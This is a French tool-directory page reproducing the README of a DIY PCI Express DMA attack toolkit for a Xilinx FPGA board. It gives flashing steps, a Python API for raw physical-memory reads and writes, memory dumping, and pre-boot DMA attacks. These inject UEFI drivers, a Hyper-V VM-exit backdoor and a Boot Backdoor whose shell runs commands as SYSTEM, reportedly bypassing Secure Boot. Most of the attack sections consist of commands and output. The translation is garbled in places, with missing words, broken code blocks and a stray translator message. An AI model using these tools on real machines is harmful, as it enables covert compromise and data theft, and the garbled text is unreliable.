Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
s6_pcie_microblaze — Boîte à outils de hacking DIY PCI Express pour Xilinx SP605. Ce dépôt héberge également Hyper-V Backdoor et Boot Backdoor, consultez le readme pour les liens et informations. | Kitploit
Outils/GitHubGitHub/cr4sh/s6_pcie_microblaze
ExploitationExfiltration de DonnéesPost-ExploitationHacking MatérielCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles
GitHubcr4sh/s6_pcie_microblaze

s6_pcie_microblaze

Boîte à outils de hacking DIY PCI Express pour Xilinx SP605. Ce dépôt héberge également Hyper-V Backdoor et Boot Backdoor, consultez le readme pour les liens et informations.

Voir le dépôt
8801675il y a 6 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Kit de hacking DIY pour PCI Express

Informations générales
Contenu
Configuration de la carte SP605
Configuration logicielle
Exemples
Utilisation de l'API Python
Attaques DMA pratiques
Attaques Option ROM
Dépannage
Construction du projet à partir du code source

Informations générales

Ce dépôt contient un ensemble d'outils et de preuves de concept liés au bus PCI-E et aux attaques DMA. Il comprend une conception HDL qui implémente un périphérique endpoint PCI-E gen 1.1 contrôlable par logiciel pour le Xilinx SP605 Evaluation Kit avec FPGA Spartan-6. Par rapport au populaire USB3380EVB, cette conception permet de travailler avec les paquets bruts de niveau transaction (TLP) du bus PCI-E et d'effectuer des opérations complètes de lecture/écriture mémoire 64 bits. Pour démontrer les cas d'utilisation concrets de la conception, un outil pour les attaques DMA pré-démarrage sur les machines basées sur UEFI permet d'exécuter des pilotes UEFI DXE arbitraires pendant l'initialisation de la plateforme.

Un programme montre comment utiliser les attaques DMA pré-démarrage pour injecter une dans Windows 10 et 11 avec activée, fonctionnant sur une plateforme avec UEFI Secure Boot activé. La preuve de concept Hyper-V Backdoor fournie peut être utile pour la rétro-ingénierie et le développement d'exploits ; elle pour inspecter l'état de l'hyperviseur (VMCS, mémoire physique/virtuelle, registres, etc.) depuis la partition invitée et effectuer des attaques d'évasion de machine virtuelle de l'invité vers l'hôte.

backdoor de gestionnaire de VM exit Hyper-V
sécurité basée sur la virtualisation
fournit une interface

Un autre programme montre comment utiliser les attaques DMA pré-démarrage pour injecter du code arbitraire en mode utilisateur ou en mode noyau dans le système d'exploitation Windows en détournant son processus de démarrage à l'aide de Boot Backdoor. Ce programme peut également fonctionner avec DMA Shell − c'est un payload Boot Backdoor qui permet d'exécuter des commandes console via le périphérique PCI-E malveillant, de transférer des fichiers et de charger des exécutables tiers dans le système d'exploitation cible au moment de l'exécution.

💾 La partie Hyper-V Backdoor de ce projet possède de nombreuses autres fonctionnalités et options de déploiement que celles décrites dans ce document ; vous pouvez l'utiliser séparément des outils d'attaque DMA, même sans matériel spécial : consultez sa documentation

💾 La partie Boot Backdoor de ce projet possède de nombreuses autres fonctionnalités et options de déploiement que celles décrites dans ce document ; vous pouvez l'utiliser séparément des outils d'attaque DMA, même sans matériel spécial : consultez sa documentation

💾 Les outils Python de ce projet et les conceptions FPGA pour les cartes SP605, ZC706 et PicoEVB peuvent également être utilisés pour déployer SMM Backdoor Next Gen avec une attaque DMA pré-démarrage. Consultez sa documentation pour plus de détails techniques.

🛠️ Les outils Python et les payloads de ce projet, y compris Hyper-V Backdoor et Boot Backdoor, peuvent également être utilisés avec les cartes basées sur le SoC Xilinx Zynq-7000. Il existe un projet séparé de conception d'attaques DMA pour le kit d'évaluation Xilinx ZC706.

🛠️ Les outils Python et les payloads de ce projet, y compris Hyper-V Backdoor et Boot Backdoor, peuvent également être utilisés avec la carte de développement PicoEVB. Il existe un projet Pico DMA séparé − implant matériel d'attaque DMA pré-démarrage entièrement autonome pour emplacement M.2, capable d'exécuter des pilotes UEFI DXE arbitraires en tant que payload.

Contenu

  • s6_pcie_microblaze.xise − Fichier de projet Xilinx ISE.

  • microblaze/pcores/axis_pcie_v1_00_a/ − Module périphérique personnalisé qui permet de connecter le bloc endpoint PCI Express intégré du FPGA Spartan-6 en tant que flux TLP brut au cœur du processeur logiciel MicroBlaze.

  • sdk/srec_bootloader_0/ − Bootloader simple pour le processeur logiciel MicroBlaze ; il utilise le format d'image SREC et la mémoire flash linéaire embarquée du SP605 pour charger et stocker le programme principal MicroBlaze.

  • sdk/main_0/ − Programme principal pour le processeur logiciel MicroBlaze ; il transmet les paquets TLP bruts du bus PCI-E vers la connexion TCP en utilisant le port Ethernet embarqué du SP605 et la pile réseau lwIP.

  • python/pcie_lib.py − Bibliothèque Python pour interagir en réseau avec le programme MicroBlaze principal exécuté sur la carte SP605 ; elle implémente diverses abstractions de bas et haut niveau pour travailler avec la couche TLP de PCI-E depuis le code Python.

  • python/pcie_mem.py − Programme en ligne de commande qui extrait la RAM de l'hôte vers l'écran ou un fichier de sortie en envoyant des TLP MRd.

  • python/pcie_mem_scan.py − Programme en ligne de commande qui analyse l'hôte cible pour trouver les plages de mémoire physique accessibles via le bus PCI-E ; utile pour un audit de sécurité des plateformes avec IOMMU activé (exemples : 1, 2, 3, 4).

  • python/uefi_backdoor_simple.py − Programme en ligne de commande pour attaque DMA pré-démarrage qui injecte un pilote UEFI factice dans la séquence de démarrage de la machine cible.

  • python/uefi_backdoor_hv.py − Programme en ligne de commande pour attaque DMA pré-démarrage qui injecte la backdoor de gestionnaire de VM exit Hyper-V dans la séquence de démarrage du système cible.

  • python/uefi_backdoor_boot.py − Programme en ligne de commande pour attaque DMA pré-démarrage qui injecte Boot Backdoor dans la séquence de démarrage du système cible.

  • python/payloads/DmaBackdoorSimple/ − Code source du pilote UEFI DXE factice à utiliser avec uefi_backdoor_simple.py.

  • python/payloads/DmaBackdoorHv/ − Code source du pilote UEFI DXE à utiliser avec uefi_backdoor_hv.py ; il implémente la fonctionnalité Hyper-V Backdoor.

  • python/payloads/DmaBackdoorBoot/ − Code source du pilote UEFI DXE à utiliser avec uefi_backdoor_boot.py ; il implémente la fonctionnalité Boot Backdoor.

Configuration de la carte SP605

Le document Xilinx UG526, également connu sous le nom de SP605 Hardware User Guide, est votre meilleur ami si vous souhaitez en savoir plus sur l'utilisation et la configuration de cette belle carte.

  1. Pour charger le bitstream depuis la puce flash SPI embarquée, vous devez configurer le SP605 en plaçant les interrupteurs SW1 sur les positions 1-ON, 2-OFF.

  2. Vous devez maintenant écrire le bitstream FPGA dans la flash SPI. Utilisez le fichier s6_pcie_microblaze.mcs si vous souhaitez le faire via JTAG à l'aide de l'utilitaire Xilinx iMPACT (voir ce tutoriel), ou s6_pcie_microblaze.bin si vous préférez utiliser un programmateur de flash SPI externe connecté au connecteur J17 du SP605 (ce qui est le moyen le plus rapide et le plus pratique).

Si vous disposez d'un programmateur de flash SPI compatible flashrom, vous pouvez utiliser le programme flash_to_spi.py comme wrapper flashrom :``` $ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin Using region: "main". Calibrating delay loop... OK. Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi. Reading old flash chip contents... done. Erasing and writing flash chip... Warning: Chip content is identical to the requested image. Erase/write done.

root@kitploit:~
3) Le fichier de bitstream écrit dans la flash SPI à l'étape précédente inclut un bootloader personnalisé pour le cœur MicroBlaze (voir [bootloader.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/srec_bootloader_0/src/bootloader.c) pour plus de détails). Ce bootloader permet de configurer les options de la carte et d'écrire le programme principal dans la flash linéaire via le port UART du SP605.

Pour démarrer MicroBlaze en mode de mise à jour, vous devez débrancher le programmateur de flash SPI et alimenter la carte en maintenant enfoncé le bouton-poussoir `SW4` ; relâchez `SW4` lorsque la LED `DS6` indiquant que le mode de mise à jour est actif s'allume.

4) Pour écrire le programme principal (voir [main.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/main_0/src/main.c) pour plus de détails) dans la flash linéaire, vous devez connecter votre ordinateur au port USB du pont UART du SP605 et exécuter le programme `bootloader_ctl.py` avec l'option `--flash` :```
$ easy_install pyserial
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --flash sdk/main_0/Debug/main_0.srec
[+] Opening device "/dev/ttyUSB0"...
[+] Flasing 339852 bytes from "sdk/main_0/Debug/main_0.srec"...
Erasing flash...
Writing 0x100 bytes at 0x00100000
Writing 0x100 bytes at 0x00100100

...

Writing 0x100 bytes at 0x00152e00
Writing 0x8c bytes at 0x00152f00
[+] DONE
  1. Pour configurer les paramètres réseau, vous devez exécuter le programme bootloader_ctl.py avec l'option --config :``` $ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472 [+] Opening device "/dev/ttyUSB0"... [+] Updating board settings...

Address: 192.168.2.247 Netmask: 255.255.255.0 Gateway: 192.168.2.1 Port: 28472

Erasing flash... Writing 0x12 bytes at 0x00000000 [+] DONE

root@kitploit:~
6) Vous pouvez maintenant quitter le mode de mise à jour et démarrer le programme principal MicroBlaze depuis la flash linéaire :```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --boot
[+] Opening device "/dev/ttyUSB0"...
[+] Exitting from update mode...

SREC Bootloader
Loading SREC image from flash at address: 42000000
Executing program starting at address: 00000000
Loading settings from flash...
[+] Address: 192.168.2.247
[+] Netmask: 255.255.255.0
[+] Gateway: 192.168.2.1
auto-negotiated link speed: 100
start_application(): TCP server is started at port 28472

Main program prints its error messages into the onboard UART, you can use --console option of bootloader_ctl.py to monitor this messages in real time.

  1. Connectez le SP605 au slot PCI-E de l'ordinateur cible et allumez l'ordinateur. Lorsque la liaison PCI-E est établie avec succès, vous verrez les LED DS3 et DS4 allumées.

  2. Exécutez la commande lspci sur l'ordinateur cible pour vous assurer que son système d'exploitation voit votre carte comme un périphérique PCI-E approprié :```

lspci | grep Xilinx

01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID

root@kitploit:~
Notes relatives au JTAG : la carte SP605 dispose d'une interface USB vers JTAG intégrée, compatible avec iMPACT et les autres outils Xilinx. Cependant, elle n'est pas très performante, donc si vous prévoyez d'utiliser le JTAG intégré pour programmer la flash SPI comme décrit dans le tutoriel Xilinx, vous devez faire ce qui suit :

* Retirez tout matériel connecté au connecteur FMC de la SP605 lorsque vous travaillez avec le JTAG.

* Dans les paramètres de Xilinx iMPACT, configurez l'interface JTAG pour utiliser une vitesse de 750 KHz (à des vitesses plus élevées, elle fonctionne de manière instable).

La carte Xilinx SP605 peut également être connectée au port externe Thunderbolt 2/3 de l'ordinateur cible via un [châssis d'extension Thunderbolt vers PCI-E](https://www.amazon.com/s/ref?field-keywords=thunderbolt+to+pcie). Veuillez noter que la SP605 est une [carte relativement grande](https://www.xilinx.com/support/answers/53808.html) et qu'elle pourrait ne pas rentrer dans certains châssis. Par exemple, j'utilise le boîtier Thunderbolt 2 [HighPoint RocketStor 6361A](http://www.highpoint-tech.com/USA_new/series_RS6361A_overview.htm) qui fonctionne correctement avec mon MacBook Pro.


## Configuration logicielle

Les outils Python permettant d'interagir avec la carte et une implémentation minimale de la couche de transaction PCI-E se trouvent dans le dossier `python`. Comme le programme principal MicroBlaze utilise une connexion TCP pour transférer les paquets TLP, aucun pilote ni dépendance tierce n'est nécessaire ; vous pouvez utiliser le code Python fourni sur n'importe quel système d'exploitation.

Pour définir l'adresse IP et le port de la carte cible, modifiez la variable `PCIE_TO_TCP_ADDR` dans le fichier `python/pcie_lib_config.py`.


## Exemples

Informations sur le périphérique PCI-E implémenté par le bitstream FPGA fourni (tel qu'il est vu par l'ordinateur cible) :```
$ lspci -vvs 01:00.0
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
    Subsystem: Xilinx Corporation Default PCIe endpoint ID
    Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
    Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
    Interrupt: pin A routed to IRQ 11
    Region 0: Memory at f7d00000 (32-bit, non-prefetchable) [disabled] [size=1M]
    Capabilities: [40] Power Management version 3
        Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
        Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME-
    Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+
        Address: 0000000000000000  Data: 0000
    Capabilities: [58] Express (v1) Endpoint, MSI 00
        DevCap: MaxPayload 512 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited
            ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
        DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
            RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+
            MaxPayload 128 bytes, MaxReadReq 512 bytes
        DevSta: CorrErr+ UncorrErr- FatalErr+ UnsuppReq- AuxPwr- TransPend-
        LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited
            ClockPM- Surprise- LLActRep- BwNot-
        LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk-
            ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
        LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
    Capabilities: [100 v1] Device Serial Number 00-00-00-01-01-00-0a-35

Exemple de périphérique PCI-E tel qu'il apparaît dans les informations matérielles d'Apple macOS lorsqu'il est connecté au port Thunderbolt 2 d'un MacBook Pro :

Du côté de l'attaquant, vous pouvez utiliser le programme pcie_cfg.py pour afficher les registres de l'espace de configuration du périphérique PCI-E :``` $ ./pcie_cfg.py [+] PCI-E link with target is up [+] Device address is 03:00.0

root@kitploit:~
       VENDOR_ID = 0x10ee
       DEVICE_ID = 0x1337
         COMMAND = 0x0
          STATUS = 0x10
        REVISION = 0x0
      CLASS_PROG = 0x0
    CLASS_DEVICE = 0x200
 CACHE_LINE_SIZE = 0x10
   LATENCY_TIMER = 0x0
     HEADER_TYPE = 0x0
            BIST = 0x0
  BASE_ADDRESS_0 = 0x90500000
  BASE_ADDRESS_1 = 0x0
  BASE_ADDRESS_2 = 0x0
  BASE_ADDRESS_3 = 0x0
  BASE_ADDRESS_4 = 0x0
  BASE_ADDRESS_5 = 0x0
     CARDBUS_CIS = 0x0

SUBSYSTEM_VENDOR_ID = 0x10ee SUBSYSTEM_ID = 0x7 ROM_ADDRESS = 0x0 INTERRUPT_LINE = 0xff INTERRUPT_PIN = 0x1 MIN_GNT = 0x0 MAX_LAT = 0x0

root@kitploit:~
The input chunk is empty — there is no content to translate. Please provide the text for chunk 15 of 53.```
$ ./pcie_cfg.py -x
[+] PCI-E link with target is up
[+] Device address is 03:00.0

0000: 0x10ee 0x1337
0004: 0x0000 0x0010
0008: 0x0000 0x0200
000c: 0x0010 0x0000
0010: 0x0000 0x9050
0014: 0x0000 0x0000
0018: 0x0000 0x0000
001c: 0x0000 0x0000
0020: 0x0000 0x0000
0024: 0x0000 0x0000
0028: 0x0000 0x0000
002c: 0x10ee 0x0007
0030: 0x0000 0x0000
0034: 0x0040 0x0000
0038: 0x0000 0x0000
003c: 0x01ff 0x0000

      ...

Voici un exemple de vidage de 0x80 octets de la mémoire physique de l'ordinateur cible à partir de l'adresse zéro à l'aide du programme pcie_mem.py :``` $ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80 TLP TX: size = 0x04, source = 01:00.0, type = MRd64 tag = 0x00, bytes = 0x84, addr = 0x00000000

root@kitploit:~
    0x20000021 0x010000ff 0x00000000 0x00000000

TLP RX: size = 0x23, source = 00:00.0, type = CplD tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0

root@kitploit:~
    0x4a000020 0x00000084 0x01000000
    0xf3ee00f0 0xf3ee00f0 0xc3e200f0 0xf3ee00f0 
    0xf3ee00f0 0x54ff00f0 0x053100f0 0xfe3000f0 
    0xa5fe00f0 0xe40400e8 0xf3ee00f0 0xf3ee00f0 
    0xf3ee00f0 0xf3ee00f0 0x57ef00f0 0x53ff00f0 
    0x140000c0 0x4df800f0 0x41f800f0 0x59ec00f0 
    0x39e700f0 0xd40600e8 0x2ee800f0 0xd2ef00f0 
    0x00e000f0 0xf2e600f0 0x6efe00f0 0x53ff00f0 
    0x53ff00f0 0xa4f000f0 0xc7ef00f0 0xb19900c0

TLP RX: size = 0x04, source = 00:00.0, type = CplD tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0

root@kitploit:~
    0x4a000001 0x00000004 0x01000000
    0xf3ee00f0

00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................ 00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0.. 00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................ 00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S... 00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y... 00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9............... 00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S... 00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............

root@kitploit:~
Exemple de sauvegarde de la mémoire physique dans le fichier :```
./pcie_mem.py 0x14000000 0x8000 dumped.bin
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Reading 0x14000000
[+] Reading 0x14001000
[+] Reading 0x14002000
[+] Reading 0x14003000
[+] Reading 0x14004000
[+] Reading 0x14005000
[+] Reading 0x14006000
[+] Reading 0x14007000
[+] Reading 0x14008000
32768 bytes written into the dumped.bin
  • DEBUG_TLP − Si défini à 1, affiche les paquets TLP TX et RX dans la sortie standard.

  • TARGET_ADDR − Chaîne <address>:<port> pour remplacer l'adresse IP de la carte spécifiée dans le fichier python/pcie_lib_config.py.

Utilisation de l'API Python

La bibliothèque Python pcie_lib.py fournit une API de bas niveau pour envoyer et recevoir des paquets TLP PCIe, ainsi que des abstractions pour différents types de TLP et une API de haut niveau pour l'accès à la mémoire physique.

Le programme suivant illustre comment travailler avec des TLP bruts à l'aide de pcie_lib.py :```python from pcie_lib import *

Open PCI-E device, optional addr parameter overrides value specified in pcie_lib_config.py

file or TARGET_ADDR environment variable

dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))

get bus:device.function address of our PCI-E endpoint

bus_id = dev.get_bus_id()

MRd TLP request which reads 1 dword of memory at address 0x1000

tlp_tx = [ 0x20000001, # TLP type and data size 0x000000ff | (bus_id << 16), # requester ID 0x00000000, # high dword of physical memory address 0x00001000 ] # low dword of physical memory address

send TLP

dev.write(tlp_tx)

receive root complex reply

tlp_rx = dev.read(raw = True)

prints 4a000001 00000004 01000000 00000000

print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))

check for CplD TLP format and type

assert (tlp_rx[0] >> 24) & 0xff == 0x4a

print readed dword

print('%.8x' % tlp_rx[3])

dev.close()

root@kitploit:~
Travailler avec les TLP en utilisant des abstractions de haut niveau plus pratiques :```python
# MRd TLP request which reads 1 dword of memory at address 0x1000
tlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4)

# send TLP
dev.write(tlp_tx)

# receive root complex reply
tlp_rx = dev.read()

# check for CplD TLP
assert isinstance(tlp_rx, dev.PacketCplD)

# print readed dword
print('%.8x' % tlp_rx.data[0])

Accéder à la mémoire physique avec une API de haut niveau :```python

write bytes to memory

dev.mem_write(0x1000, '\xAA' * 0x10)

write single qword/dword/word/byte to memory

dev.mem_write_8(0x1000, 0) dev.mem_write_4(0x1000, 0) dev.mem_write_2(0x1000, 0) dev.mem_write_1(0x1000, 0)

read bytes from memory

print(repr(dev.mem_read(0x1000, 0x10)))

read single qword/dword/word/byte from memory

print('%.16x' % dev.mem_read_8(0x1000)) print('%.8x' % dev.mem_read_4(0x1000)) print('%.4x' % dev.mem_read_2(0x1000)) print('%.2x' % dev.mem_read_1(0x1000))

root@kitploit:~
## Attaques DMA pratiques

L'un des principaux objectifs de ce projet est de fournir un ensemble d'outils flexible et pratique pour réaliser ce qu'on appelle des attaques DMA de pré-démarrage. Par rapport aux attaques DMA classiques, elles ciblent l'environnement de pré-démarrage de la phase UEFI DXE de l'initialisation de la plateforme plutôt que le système d'exploitation lui-même. Ces attaques permettent d'exécuter du code malveillant à des étapes relativement précoces, lorsque l'[IOMMU](https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit) et les autres fonctions de sécurité du système d'exploitation ne sont pas encore initialisées. 

<img src="https://assets.kitploit.com/production/public/readmes/47570/6a87a76c672dc69ade501714127d61c89fb94cc82f3593bf9480275fe539169e.jpg" width="610">

Les attaques DMA de pré-démarrage permettent de contourner diverses fonctionnalités de sécurité du firmware de la plateforme comme le démarrage sécurisé UEFI ou [Intel Boot Guard](https://edk2-docs.gitbook.io/understanding-the-uefi-secure-boot-chain/secure_boot_chain_in_uefi/intel_boot_guard).

Le programme Python `uefi_backdoor_simple.py` injecte un pilote UEFI DXE factice situé dans le dossier `payloads/DmaBackdoorSimple` dans la séquence de démarrage du système cible en utilisant l'attaque DMA de pré-démarrage décrite ci-dessus. Pour utiliser ce programme, vous devez effectuer les étapes suivantes :

1) Éteignez l'ordinateur cible.

2) Connectez la carte SP605 au port PCI-E (ou Mini PCI-E, ou M.2) de l'ordinateur cible.

3) Allumez la carte et assurez-vous que le firmware Microblaze a été initialisé avec succès en envoyant une requête ping à l'adresse IP qui a été spécifiée lors de la configuration de la carte avec le programme `bootloader_ctl.py`. 

4) Exécutez la commande suivante pour lancer l'attaque DMA de pré-démarrage :```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
  1. Allumez l'ordinateur cible ; en cas d'attaque réussie, après quelques secondes, vous verrez l'écran de messages de débogage rouges du pilote UEFI DXE injecté :

Un exemple de sortie console de uefi_backdoor_simple.py après l'attaque réussie :``` $ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [+] Using UEFI system table hook injection method [+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [+] PCI-E link with target is up [+] TSEG is somewhere around 0xd7000000 [+] PE image is at 0xd6260000 [+] EFI_SYSTEM_TABLE is at 0xd61eaf18 [+] EFI_BOOT_SERVICES is at 0xd680aa00 [+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18 Backdoor image size is 0x1240 Backdoor entry RVA is 0x31c Planting DXE stage driver at 0x10000... Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c 0.780202 sec. [+] DXE driver was planted, waiting for backdoor init... [+] DXE driver was executed [+] DONE

root@kitploit:~
This dummy UEFI DXE driver along with `uefi_backdoor_simple.py` program can be used as skeleton project to implement various attacks like injecting of malicious code into the operating system bootloader, kernel or hypervisor.

There's also another Python program &minus; `uefi_backdoor_hv.py`, it injects Hyper-V VM exit handler backdoor located in `payloads/DmaBackdoorHv` folder into the target system boot sequence exactly in the same way as previous dummy UEFI DXE driver. Here's an example of its usage:```
$ ./uefi_backdoor_hv.py --driver payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Looking for DXE driver PE image...
[+] PE image is at 0x77160000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x2c20
Backdoor entry RVA is 0xbd4
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0bd4
3.611646 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for Hyper-V load...
[+] Hyper-V image was loaded

    Hyper-V image base: 0xfffff8072d690000
           Image entry: 0xfffff8072d901360
       VM exit handler: 0xfffff8072d8add90

[+] DONE

Le pilote UEFI DXE de Hyper-V Backdoor imprime également ses messages de débogage à l'écran. De plus, vous pouvez utiliser l'option --debug-output de uefi_backdoor_hv.py pour lire ces messages de débogage depuis la mémoire physique du système cible et les afficher sur le stdout :``` $ ./uefi_backdoor_hv.py --debug-output [+] PCI-E link with target is up [+] Debug output buffer address is 0x79db3000

DmaBackdoorHv.c(1018) : ****************************** DmaBackdoorHv.c(1019) : DmaBackdoorHv.c(1020) : Hyper-V backdoor loaded! DmaBackdoorHv.c(1021) : DmaBackdoorHv.c(1022) : ****************************** DmaBackdoorHv.c(1055) : Image address is 0xc0000 DmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260 DmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000 DmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364 DmaBackdoorHv.c(819) : BackdoorEntryResident() DmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477 DmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487 DmaBackdoorHv.c(447) : winload.dll is at 0x8ee000 DmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10 DmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9 DmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\mcupdate_GenuineIntel.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hvix64.exe" HyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000 HyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes) HyperV.c(425) : HyperVHook(): Code section RVA is 0x200000 HyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90 HyperV.c(605) : HyperVHook(): Backdoor code size is 684 bytes DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\kdstub.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hv.exe" DmaBackdoorHv.c(560) : new_ExitBootServices() called

root@kitploit:~
Pour obtenir plus d'informations sur les cas d'utilisation et les fonctionnalités de Hyper-V Backdoor, [consultez son fichier README](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorHv/README.MD) avec des informations détaillées.

Les programmes Python `uefi_backdoor_boot.py` et `uefi_backdoor_boot_shell.py` sont utilisés pour injecter Boot Backdoor dans la séquence de démarrage du système cible. Boot Backdoor permet d'exécuter du code arbitraire en mode utilisateur ou en mode noyau sous le système d'exploitation Windows, et sa charge utile appelée DMA Shell permet d'exécuter des commandes console et de transférer des fichiers. Pour déployer Boot Backdoor avec DMA Shell à l'aide d'une attaque DMA de pré-démarrage, vous devez effectuer les mêmes étapes que celles décrites ci-dessus mais en utilisant le programme `uefi_backdoor_boot_shell.py` :```
$ ./uefi_backdoor_boot_shell.py --command "whoami"
[+] 44544 bytes of payload image read
[+] 21299 bytes of payload image after the compression
[+] Using UEFI system table hook injection method
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Looking for DXE driver PE image...
[+] PE image is at 0x7a070000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x14847
Backdoor entry RVA is 0x908
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0908
1.759079 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for backdoor load...
[+] Winload image was loaded

              Image base: 0x0086a000
 OslArchTransferToKernel: 0x009c4b20

[+] DONE
[+] Waiting for payload init...
[+] Payload shared memory region is at 0x00200000
[+] Executing command: whoami
[+] Process exit code: 0x00000000

nt authority\system

